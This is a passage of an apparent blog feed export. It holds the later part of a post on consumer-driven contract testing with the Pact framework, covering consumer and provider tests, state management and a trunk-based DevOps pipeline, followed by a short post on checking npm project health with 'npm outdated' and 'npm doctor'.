&lt;p&gt;Per the guideline set out previously, we’ll unit test the HTTP client helper for the Reviews service. We will aim for asserting both the helper logic (massaging of the data for example), as well as use this as a base for the API contract testing.&lt;/p&gt;
&lt;p&gt;Without using Consumer Contract Test you would have mocked the HTTP response in some way, right? May you would’ve completely stub this out with something like Sinon or Jest, or maybe you would have used Nock.&lt;/p&gt;
&lt;p&gt;Either way, you had to mock it.&lt;br&gt;
This is where the Pact framework comes in, and provides you this mock, plus, you get a contract drafted by using it. Win-win situation.&lt;/p&gt;
&lt;p&gt;Beginning our Reviews Service mock consumer test:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__LeNdY4kM2X91rl__7stxWjA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The above starts the consumer test code with the following tasks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Before all tests are run, we need to setup the Pact mock service, so we initialize a new instance with information like the consumer and provider name, and which port to listen on for requests.&lt;/li&gt;
&lt;li&gt;After all the tests ran, as in, all the API requests that make up the contract have been made, we call on &lt;code&gt;finalize()&lt;/code&gt; which creates a new Pact contract file in the &lt;code&gt;/pacts&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;a-contract-testcase&quot;&gt;A Contract Test Case&lt;/h4&gt;
&lt;p&gt;When practicing Consumer contract testing, the bulk of the test is about declaring the contract. By definition, every contract test has 2 parts which is made up in an interaction:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Declaring the Request — in the &lt;code&gt;withRequest&lt;/code&gt; clause all the details making up this individual request are stated.&lt;/li&gt;
&lt;li&gt;Declaring the Response — in the &lt;code&gt;willRespondWith&lt;/code&gt; clause we are setting up the expectations with regards to the API response.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__Dqbqex5967QYB__M__0HkCrg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;state&lt;/code&gt; and &lt;code&gt;uponReceiving&lt;/code&gt; properties are also important as they define what the request is (beyond the test-case level), and the state that the provider is expected to comply with. More on state in the provider contract testing.&lt;/p&gt;
&lt;p&gt;As one may notice, we also don’t hard-code any actual values into the contract, and instead we prefer to match the actual values based on their types, structure, or say a regular expression. More on why this is a best practice later on.&lt;/p&gt;
&lt;p&gt;Lastly, we assert that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;ReviewsClient&lt;/code&gt; helper returned an expected result (the test code above is oversimplifying it so don’t take that as a golden example)&lt;/li&gt;
&lt;li&gt;The request has been properly served by the Pact mock service and &lt;code&gt;verify()&lt;/code&gt; didn’t throw any exceptions.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;running-the-contracttests&quot;&gt;Running The Contract Tests&lt;/h4&gt;
&lt;p&gt;We run the contract test with Jest, just like any other unit test.&lt;br&gt;
The following takes place:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A Pact mock service gets spin up (an actual live HTTP web service)&lt;/li&gt;
&lt;li&gt;Interactions are registered, then test code is executed, interactions are cleaned up, and set up again and so on.&lt;/li&gt;
&lt;li&gt;All interactions are verified, resulting in a contract file written, and the mock service get shutdown.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__JGxes__GlVUBWcNz1MTduaA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;consumer-unit-testing-guidelines&quot;&gt;Consumer unit testing guidelines:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Make sure to setup the pact provider before the tests run, and assert the expectations after all test cases completed.&lt;/li&gt;
&lt;li&gt;Interactions should be set and verified in each test case, and not in a test preparation such as in a beforeAll() clause. This is because each pact.verify() call will delete all registered interactions in the pact mock server, and so you can’t simply define all interactions beforehand and then test them. It is also much easier to debug a failed test or interaction in isolation, and this best practice follows how tests in general should be constructed: test data should be prepared, asserted, and cleaned-up within each individual test.&lt;/li&gt;
&lt;li&gt;To build on the above guideline, defining and cleaning up interactions in test-cases will also allow you to test similar endpoints but different responses (200 vs 400).&lt;/li&gt;
&lt;li&gt;Follow the rule of one test file per consumer-provider testing. If you split your consumer testing across multiple files for one consumer-provider contract then you incur added complexity such as: a test runner that parallelizes test execution like Ava.js or Jest will have conflicting instances of the mock service running on the same port for the provider mock; finalizing the pact contract happens once all interactions finished, how will that be ensured when they execute asynchronously and in parallel?&lt;br&gt;
The Pact framework was originally also designed to run tests in a serial manner. It’s not impossible of course, but will require a more elaborate setup for parallel tests.&lt;/li&gt;
&lt;li&gt;If there is a significant test suite with many test cases and large JSON payloads it is advised to move the mocked data to a test utility that will hold all the mocks, or possibly even a factory to return specific interaction sets to avoid repeated code through-out the test cases and will enable easier maintenance and refactoring in the future as test cases grow for the contract.&lt;/li&gt;
&lt;li&gt;Avoid random data in expectations. This is a general rule about writing tests so that your tests are consistent and reproducible. When working with pact, it is even more important to avoid random data when writing consumer tests because the pact broker calculates a hash of the contract, and when that hash is the same, meaning the contract didn’t change even if you re-published it, then no further provider verification results are required. However, if the hash is different, then contract changed and so it will be considered as a new contract that needs to be verified by the provider. If you add random data you forgo of this optimization that the pact broker is doing for you.&lt;/li&gt;
&lt;li&gt;Match Types or Regexes instead of hard-coded static data — You may write your consumer contract tests in a way that expects a hard-coded static property, like say an &lt;em&gt;id&lt;/em&gt; property with value of &lt;strong&gt;&lt;em&gt;1&lt;/em&gt;&lt;/strong&gt;, or a &lt;em&gt;name&lt;/em&gt; property with value of &lt;strong&gt;&lt;em&gt;John&lt;/em&gt;&lt;/strong&gt;. This however may cause un-needed constraints when provider testing happens, as these exact matches would be enforced when the contract is being replayed using the pact runner. Instead, prefer to specify the expected type, or an expected pattern using regular expressions which enables more freedom in data and states management on the provider contract testing side.&lt;/li&gt;
&lt;li&gt;Don’t tempt into doing consumer contract testing as E2E — one anti-pattern that you should avoid is creating the contracts on the consumer side using contract tests in E2E. How would you do it in E2E? You bring up your service, and from within the tests you setup a state in your database, make an API call to yourself (the consumer API) which in turn will trigger an API call to the pact mock service that is setup as the dependent provider. Avoid doing this. Why? You will need an elaborate E2E setup, and passing through many un-necessary layers, taking time to resources to run the tests, all in the effort of creating a contract. You can just as well create a contract by unit testing the HTTP client as you anyway just test the contract, not the overall functionality. You may still have server E2E tests that test our APIs but contract generation and validation should happen earlier on in the process.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;provider-contracttesting&quot;&gt;Provider Contract Testing&lt;/h3&gt;
&lt;p&gt;On the provider side, contract testing means that the Pact framework downloads the consumer contract and spins up a “player” that plays all the interactions to a working provider instance.&lt;/p&gt;
&lt;p&gt;So in essence, there is a provider API service instantiated and waiting to handle requests. The Pact framework helps to send these requests, and as it sends each one, it also verifies that the response matches the expectations that were set out in the contract — therefore, the interaction.&lt;/p&gt;
&lt;p&gt;Here is how the provider testing looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1____jbTJi8IcKqV7HPNOPPjOQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That’s it! Well, almost!&lt;/p&gt;
&lt;p&gt;It is true that the test code is basically just that, there’s nothing else to do here specifically.&lt;/p&gt;
&lt;p&gt;However, remember we talked about states earlier?&lt;br&gt;
There are also some parameters in the above test setup config that hint the state.&lt;/p&gt;
&lt;h4 id=&quot;provider-state-management&quot;&gt;Provider State Management&lt;/h4&gt;
&lt;p&gt;The actual work in provider testing is to setup and manage the required state for each interaction.&lt;/p&gt;
&lt;p&gt;To remind ourselves how this is all connected:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Consumer test declares an interaction, such as: &lt;code&gt;a request for movies stats summary&lt;/code&gt; which defines the state &lt;code&gt;has reviews statistics for movies&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;When the provider tests run, the pact runs a request to the provider API and would expect for example to get a reviews statistics data when sending a movie id.&lt;/li&gt;
&lt;li&gt;But how is data populated in the database to return this data item? That’s where the state management part comes in.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the Pact framework expects an HTTP endpoint such as &lt;code&gt;/setup&lt;/code&gt; to be ready to accept states as incoming put, then set up what is necessary, and return back a successful response. After the state is setup, it plays the interaction.&lt;/p&gt;
&lt;p&gt;An example of a state management endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__BByRM6TKaBe6tU41TEtNWQ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In summary, the following is needed to run provider contract tests:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Provider API Service is started&lt;/li&gt;
&lt;li&gt;The State Management API service is started&lt;/li&gt;
&lt;li&gt;Start running the test suite, which 1 — for every interaction pact sends a state setup call to the State Management service; and 2 — make the HTTP call per each interaction, and verify the expectation.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;provider-unit-testing-guidelines&quot;&gt;Provider unit testing guidelines:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;State management is key for having a good provider contract testing setup. Use a dedicated state management service that is hopefully able to re-use your existing repository or database models. The other alternative is integrating a state handler route bundled with the application. Last option, yet not officially supported at the date of this post, is to use state handler functions on the pact verifier. This last option should probably be the most effective to work with if and when it becomes available.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;bad-practices-of-contracttests&quot;&gt;Bad Practices of Contract tests&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Provider’s Business Logic — the focus of contracting testing is the contract itself that is to be guaranteed between a consumer and provider. Contract tests are not the place to verify internal business logic and correctness of the provider.&lt;/li&gt;
&lt;li&gt;If you’re using the Pact framework simply as a means of instantiating a stub service that replies to requests (such as nock), then you’re missing out on the whole story of contract testing.&lt;/li&gt;
&lt;li&gt;Public APIs — It is not feasible to ensure a contract between a general publicly available API (3rd party) and all of its consumers. If you consume the Twitter API you can not expect a contract you create to be enforced by Twitter and it will be more than likely of them to evolve their API and possibly break it during the process.&lt;/li&gt;
&lt;li&gt;SLAs — Contract tests do not encapsulate any sort of SLAs between teams, they are only about the data contract itself.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;side-benefits-of-using-pact-for-publicapis&quot;&gt;Side-Benefits of using Pact for Public APIs&lt;/h3&gt;
&lt;p&gt;While we said that using Pact for integrating with a public API is some-what of an anti-pattern, there are some other side-benefits that you will get if you choose to use the framework for that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If you’re already using Pact then you get the mocking capability for free and don’t require any other library like Nock or others. To make sure we’re clear — it will not help you to verify the contract because the third party API is not going to run provider testing.&lt;/li&gt;
&lt;li&gt;Documentation — you get the API documentation from the Pact Broker.&lt;/li&gt;
&lt;li&gt;Insights into third parties integrations — the Pact Broker has the visualization to show the connections between consumers and providers, so you will be able to quickly see in a visual manner all of the third party integrations that each service has without reading an internal documentation or inspecting the code.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;the-benefits-of-contracttesting&quot;&gt;The Benefits of Contract Testing:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Waste reduction — if the contract is consumer driven then the interactions that are built are actually per an expectation, instead of being generic endpoints and interactions that no one uses.&lt;/li&gt;
&lt;li&gt;Win both Confidence and Speed — If you bring up a full E2E environment with dependencies that’s going to be reliable, but very complicated and slow. If you use mocks, you get the other half of it — easy and fast, but not so reliable.&lt;/li&gt;
&lt;li&gt;True release independence — Services can be deployed independently, not requiring a full system, with high confidence for API contracts being uphold.&lt;/li&gt;
&lt;li&gt;Insight into API consumers — have you ever wondered “&lt;em&gt;which team is actually using this&lt;/em&gt; &lt;strong&gt;&lt;em&gt;orderDescriptionText&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;field ?&lt;/em&gt;” so now you know.&lt;br&gt;
Using the Pact broker you get insight into all consumer and provider connections as well as the specific usage of an API response per consumer.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;the-devopsrecipe&quot;&gt;The DevOps Recipe&lt;/h3&gt;
&lt;p&gt;Nailing down the DevOps process around your consumers and providers pipeline is crucial because that will be the key factor to a successful adoption of Consumer-Driven Contract testing in your organization.&lt;/p&gt;
&lt;p&gt;Several of those key factors to take into account are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CI and testing strategies — A good understanding of the testing strategy in your organization and an already established build and CI pipeline that you can tap into.&lt;/li&gt;
&lt;li&gt;Source Code Versioning workflow — The Pact framework and Consumer testing is agnostic to whichever source code versioning you use, and the workflows you practice. With that said, the processes of running your contract pipeline, verification and go-to-production practices will vary depending on whichever workflow you adopt.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;a-trunk-based-development-gitworkflow&quot;&gt;A Trunk Based Development Git Workflow&lt;/h4&gt;
&lt;p&gt;Disclaimer: the Pact framework docs assume a git flow practice where feature branches are used on both consumer and provider teams to contain work-in-progress development of a contract, and then merged once the contract is verified.&lt;/p&gt;
&lt;p&gt;This guide is based on a &lt;a href=&quot;https://trunkbaseddevelopment.com/&quot;&gt;trunk based development&lt;/a&gt; workflow, at least for the consumer team. This means that consumer implementations and contracts are assumed to always be developed and available on the &lt;strong&gt;&lt;em&gt;master&lt;/em&gt;&lt;/strong&gt; branch, even if their implementations by providers are not yet available or existing. This is an important bit because the Pact Manifest concept that is introduced in this guide is largely required due to this workflow.&lt;/p&gt;
&lt;p&gt;This affects the go-to-production practice and introduces the use of a Pact Manifest facility, but the rest of the guide and DevOps process mentioned through-out is still applicable regardless.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__BwrAvRBSr3722tVrE4FjGg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A trunk based development workflow resembles how many Open Source projects are handled — there’s a &lt;em&gt;master&lt;/em&gt; branch that streamlines the main development branch, and any pull requests made to introduce a fix or a feature are usually short lived and merge into the main-line development.&lt;/p&gt;
&lt;p&gt;The notion of feature, bug, release, or hotfix branches are non-existent, and instead of long-lived branches there’s a more pressing attitude of continued code integration into the master branch.&lt;/p&gt;
&lt;p&gt;This may raise some questions, for example — how can I merge consumer code and its contract test where the provider hadn’t yet implemented it?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Even though some work-in-progress code paths exist in production, it doesn’t mean they get met. Using feature toggles allow to enable/disable a code path based on whether a functionality is ready, or exposing it to specific/limited users only.&lt;/li&gt;
&lt;li&gt;API versioning is another facility that can be used to easily expose a work-in-progress code path , that may not even function, but can be tested and developed for until it is ready, and once its ready releasing it under a new API version. This strategy allows maintaining API paths without breaking contracts, or at least until users of the API had enough reasonable time to upgrade to the new version.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;consumer-provider-interaction&quot;&gt;Consumer-Provider Interaction&lt;/h4&gt;
&lt;p&gt;Consumers will engage in creating the pacts (the API contracts) and push them to the Broker, where the pacts can then be downloaded by Providers to run tests against them. When provider tests fail, the provider’s CI will prohibit the provider from moving on to production, as indeed that will break a contract with its consumers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__wq3f05wNsxtCsZCRJpXl__g.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The flow depicted in the diagram is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A consumer will generate the pact contracts and publish them to the broker (upon a release, as in, merge to &lt;em&gt;master&lt;/em&gt; branch for example). The default state and assumption is that the API contract isn’t yet implemented by the provider, so the consumer has no interest in breaking the provider’s build and will tag the contract as &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; when it is publishing the contracts to the broker.&lt;/li&gt;
&lt;li&gt;The provider in its CI tests (whether that runs on a &lt;em&gt;Pull Request&lt;/em&gt; or on a &lt;em&gt;master&lt;/em&gt; branch before deploying), will download all the consumer contracts that are tagged as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; and perform its side of provider testing to ensure that the provider code is not breaking the contracts.&lt;br&gt;
At this point there aren’t any &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; tagged contracts so CI continues as normal.&lt;/li&gt;
&lt;li&gt;At a later point in time when the Provider has implemented the contract, and it is now available in production, the consumer will pro-actively tag that contract as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; (manually, yet can be automated with custom tooling) and publish it to the broker.&lt;/li&gt;
&lt;li&gt;The next provider CI tests that run will now pull in this contract that is tagged as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt;. If the provider tests fail, they should fail the CI and the whole build process to prohibit the provider from moving on with the change (as this will break its consumers). Regardless of the verification outcome in the provider testing, such as failure or successful tests, this information is reported back to the broker.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;General notes about the above flow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the consumer tags the contract as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; it also relies on confirming that the contract has been verified successfully in the last CI run of the provider and so that it is indeed ready on the provider side to be tagged as such. If it were tagged as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; by the consumer and published to the broker without the provider actually implementing the functionality, it would cause the provider CI to fail. Pact’s &lt;em&gt;can-i-deploy&lt;/em&gt; tool can be used to mitigate this by only allowing to tag contracts as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; when they been verified at least once.&lt;/li&gt;
&lt;li&gt;The provider CI will download and run both &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; contracts and will fail only when the prod contracts test fail. This allows to gain visibility on the work-in-progress made on the provider side with regards to the &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; contracts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;the-consumers-devopspipeline&quot;&gt;The Consumer’s DevOps Pipeline&lt;/h4&gt;
&lt;p&gt;Taking a deeper look into the mechanics of the Consumers pipeline will further shed a light on when contract testing takes place, and what is the interaction like with the broker and pact manifest tagging.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__4Oyf0atY__J5orsALZSgDug.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;**Build&lt;br&gt;
**In the life-span of a Pull Request we run several tests during the build phase and take care of publishing a so-called &lt;strong&gt;&lt;em&gt;build&lt;/em&gt;&lt;/strong&gt; contract that is only used in order to download it later in the CI phase.&lt;/p&gt;
&lt;p&gt;In the build phase we are basically pulling the code over from GitHub, running basic static code style &amp;#x26; quality analysis commonly known as linting, then run unit tests, contract tests and integration tests. Contract tests are run just like unit tests but they run as another build task just to differentiate.&lt;/p&gt;
&lt;p&gt;The integration tests we refer to in the build phase are about less code mocking and stabbing, and more about covering code paths that integrate with other components, such as triggering an API controller that consequently hits the database (so we spin up a database, or a mocked database like a Druid mock service).&lt;/p&gt;
&lt;p&gt;When tests are successful a contract is published to the broker, so it can be downloaded in the CI step ahead to be used in End-to-End tests as mocked providers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CI&lt;/strong&gt;&lt;br&gt;
What the aforementioned integration tests are not — they are not spinning up a full fledged deployed system that run an End-to-End functional test. This happens in the CI.&lt;/p&gt;
&lt;p&gt;In the CI stage we setup an environment that replicates production as much as possible, but as per the spirit of consumer-driven contracts, we don’t spin-up real instances of API providers. We use docker-based containers and spin-up consumer containers that were created in the build stage before-hand, as well as spin-up any relevant databases that are direct dependencies of the consumer.&lt;/p&gt;
&lt;p&gt;All the providers that the consumer needs to interact with are created by downloading the contracts and spinning-up mocks using utilities from the Pact framework. The mocks respond with canned responses based on how the contract was created.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We leverage CDC testing in the E2E phase where we can benefit from not requiring to bring up real third-parties and can test our application/service in end-to-end flows on a semi-real environment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Master&lt;/strong&gt;&lt;br&gt;
Once code has been successfully tested and merged into the main line of development — the master branch, it may see more tests, but mainly what happens is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The service version is incremented and gets tagged.&lt;/li&gt;
&lt;li&gt;Contracts are published to the broker (by default using the &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; tag for newly introduced contracts).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;the-pactmanifest&quot;&gt;The Pact Manifest&lt;/h4&gt;
&lt;p&gt;The Pact Manifest is an internal tool I developed during my time with &lt;a href=&quot;https://medium.com/nmc-techblog&quot;&gt;Nielsen Marketing Cloud&lt;/a&gt; to completely de-couple the consumer and provider without having to rely on branching conventions to keep them synced.&lt;/p&gt;
&lt;p&gt;The pact manifest is a simple JSON file that resides on the consumer’s code-base with the role of tracking the state for a consumer-provider contracts in terms of, whether a contract is still a work-in-progress or haven’t been released to production which will be tagged as &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; or the contract has been implemented by a provider and is deployed and available in production where-as the contract will be tagged as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The pact manifest is needed because the source code versioning workflow set out by the teams is a trunk based development one. Which means that if an integration with provider is developed in a branch, including all the relevant consumer contract tests, it is very quickly merged to the master branch after being reviewed and passing all the tests in that Pull Request branch. &lt;strong&gt;It is merged to master even if the provider didn’t start implementing anything.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is where the pact manifest is useful. It defaults to tagging the contract as &lt;strong&gt;&lt;em&gt;dev&lt;/em&gt;&lt;/strong&gt; to begin with, and later on when the consumer received the update that the provider had implemented and released the API a manual update is made to the pact manifest file to tag that contract as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; and publish it to the broker as such.&lt;/p&gt;
&lt;p&gt;It’s important to note that it can be a mistake on the consumer side to tag a contract as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt; and publish it because in reality the provider didn’t yet finish implementation or its implemented but not yet released to production. When this happens it will cause the provider CI to fail and block that team from releasing to production.&lt;/p&gt;
&lt;p&gt;To mitigate this scenario:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ensure proper communication is made between the teams. There is literally no excuse or replacement for good collaboration regardless of consumer-driven contracts or otherwise.&lt;/li&gt;
&lt;li&gt;The pact manifest uses a little gem from the Pact framework called &lt;strong&gt;&lt;em&gt;can-i-deploy&lt;/em&gt;&lt;/strong&gt; to verify whether a contract can be tagged as &lt;strong&gt;&lt;em&gt;prod&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/pact-foundation/pact_broker-client#can-i-deploy&quot;&gt;&lt;strong&gt;&lt;em&gt;can-i-deploy&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; tool is another key element in the process. It pings the broker to check if a consumer’s contract was verified by the provider. If it hasn’t, it’s a good sign that you shouldn’t deploy or tag a contract as &lt;strong&gt;&lt;em&gt;prod-&lt;/em&gt;&lt;/strong&gt;ready because it isn’t yet implemented by a provider.&lt;/p&gt;
&lt;h4 id=&quot;the-providers-devopspipeline&quot;&gt;The Provider’s DevOps Pipeline&lt;/h4&gt;
&lt;p&gt;The provider contract testing is all about confirming that it didn’t break any API contract it has with it’s consumers.&lt;/p&gt;
&lt;p&gt;To do that, we need to spin up a real instance of the provider’s API service, preferably with a real database as most probably it will need to mutate state. This means that it’s most suitable to run the provider contract testing in CI so the testing is closer to an integration or end-to-end test.&lt;/p&gt;
&lt;p&gt;Once the provider API service is up, it is also required to make available an endpoint that can be called by the pact runners before each interaction is being performed in order to tell the provider which state to change to.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__29xGqvd__Yj7bRIcHZ9t2Vw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In essence, when the CI runs, the consumer contracts are fetched from the broker, and the provider API service is brought up to serve requests. The pact framework will read each consumer contract and start playing the requests one by one, before each of them it will advise the provider what state it is expected to be, and once the request has been sent, the pact framework will verify the interaction.&lt;/p&gt;
&lt;p&gt;Once all the interactions have ran, upon both a successful or failed contract testing session the results will be sent back to the pact broker where they are recorded for inspection and visibility into this insight.&lt;/p&gt;
&lt;h4 id=&quot;the-devops-recipeputting-it-alltogether&quot;&gt;The DevOps Recipe — Putting it all together&lt;/h4&gt;
&lt;p&gt;The following is a sequence diagram depicting the entire flow across the Consumer, Broker and Provider.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__X0ew8SZyhnOLywtf5J21hQ.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;p&gt;Whether your APIs are RESTful HTTP calls, GraphQL-powered, or asynchronous messages — they encapsulate a contract between them and their consumers.&lt;/p&gt;
&lt;p&gt;You most probably can not afford to break these contracts and this is where the Consumer-Driven Contracts pattern shines along with the Pact framework to enable your teams a platform of API contract management.&lt;/p&gt;
&lt;p&gt;There are several ways to go about implementing Consumer-Driven Contract flows and they mostly depend on the R&amp;#x26;D teams culture, their source code versioning workflows and DevOps readyness.&lt;/p&gt;</content:encoded></item><item><title>Assess your npm project health and call the doctor!</title><link>https://lirantal.com/blog/2019-03-18_assess-your-npm-project-health/</link><guid>https://lirantal.com/blog/2019-03-18_assess-your-npm-project-health/</guid><description>npm project health assessment</description><pubDate>Mon, 18 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tip 4: Assess npm project health (out of &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt;)&lt;/p&gt;
&lt;h2 id=&quot;outdated-dependencies&quot;&gt;Outdated dependencies&lt;/h2&gt;
&lt;p&gt;Rushing to constantly upgrade dependencies to their latest releases is not necessarily a good practice if it is done without reviewing release notes, the code changes, and generally testing new upgrades in a comprehensive manner.&lt;/p&gt;
&lt;p&gt;With that said, staying out of date and not upgrading at all, or after a long time, is a source for trouble as well.&lt;/p&gt;
&lt;p&gt;The npm CLI can provide information about the freshness of dependencies you use with regards to their semantic versioning offset. By running &lt;code&gt;npm outdated&lt;/code&gt;, you can see which packages are out of date:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ npm outdated&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://res.cloudinary.com/snyk/image/upload/v1550482184/blog/npm-10-security-best-practices-CLI.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dependencies in yellow correspond to the semantic versioning as specified in the package.json manifest, and dependencies colored in red mean that there’s an update available. Furthermore, the output also shows the latest version for each dependency.&lt;/p&gt;
&lt;h2 id=&quot;call-the-doctor&quot;&gt;Call the doctor&lt;/h2&gt;
&lt;p&gt;Between the variety of Node.js package managers, and different versions of Node.js you may have installed in your path, how do you verify a healthy npm installation and working environment?&lt;/p&gt;
&lt;p&gt;Whether you’re working with the npm CLI in a development environment or within a CI, it is important to assess that everything is working as expected.&lt;/p&gt;
&lt;p&gt;Call the doctor! The npm CLI incorporates a health assessment tool to diagnose your environment for a well-working npm interaction. Run &lt;code&gt;npm doctor&lt;/code&gt; to review your npm setup:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ npm doctor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Check the official npm registry is reachable, and display the currently configured registry.&lt;/li&gt;
&lt;li&gt;Check that Git is available.&lt;/li&gt;
&lt;li&gt;Review installed npm and Node.js versions.&lt;/li&gt;
&lt;li&gt;Run permission checks on the various folders such as the local and global &lt;code&gt;node_modules&lt;/code&gt;, and on the folder used for package cache.&lt;/li&gt;
&lt;li&gt;Check the local npm module cache for checksum correctness.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;I also blogged about a complete &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;10 npm security best practices&lt;/a&gt; you should adopt in a post that includes a high-resolution printable PDF like the snippet you see below.&lt;/p&gt;
&lt;/blockquote&gt;
